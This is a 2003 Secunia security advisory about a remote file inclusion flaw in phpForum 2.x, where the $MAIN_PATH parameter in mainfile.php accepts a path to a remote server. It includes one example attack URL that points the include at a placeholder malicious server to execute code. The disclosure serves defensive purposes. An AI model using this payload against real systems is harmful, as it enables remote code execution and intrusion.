|
phpForum Arbitrary PHP Script Inclusion Vulnerability
|
|
Secunia Advisory:
|
SA9258
|
|
|
Release Date:
|
2003-07-14
|
|
Popularity:
|
5,715 views
|
|
|
Critical:
|
 Highly critical
|
|
Impact:
|
System access
|
|
Where:
|
From remote
|
|
Solution Status:
|
Unpatched
|
|
| Software: | phpForum 2.x
|
|
|
Subscribe:
|
Instant alerts on relevant vulnerabilities
|
|
Description: A vulnerability has been reported in phpForum, which can be exploited by malicious people to compromise a vulnerable system.
The vulnerability is caused due to an input validation error in "mainfile.php" making it possible to supply arbitrary paths to files in the variable "$MAIN_PATH". This can be exploited by supplying a path to a malicious file on a remote server, which can result in execution of arbitrary code on the vulnerable system.
An example, which will include the file "config.php" from a remote server, was included in the original advisory:
http://[victim]/forum/mainfile.php?MAIN_PATH=http://[malicious_server]
The vulnerability has been reported in version 2 RC-1. However, prior versions may also be affected.
Solution: Edit the source code so that a remote user cannot supply the path to an external server.
Provided and/or discovered by: Marc Bromm
|
|
|
Track this Secunia Advisory
|
Customers of the Secunia Vulnerability Intelligence solutions will automatically receive updates when new information regarding this advisory is released.
Read more about our Vulnerability Intelligence solutions and what they can do for you and your company.
|
|
|
About this Secunia Advisory
|
Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.
Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.
|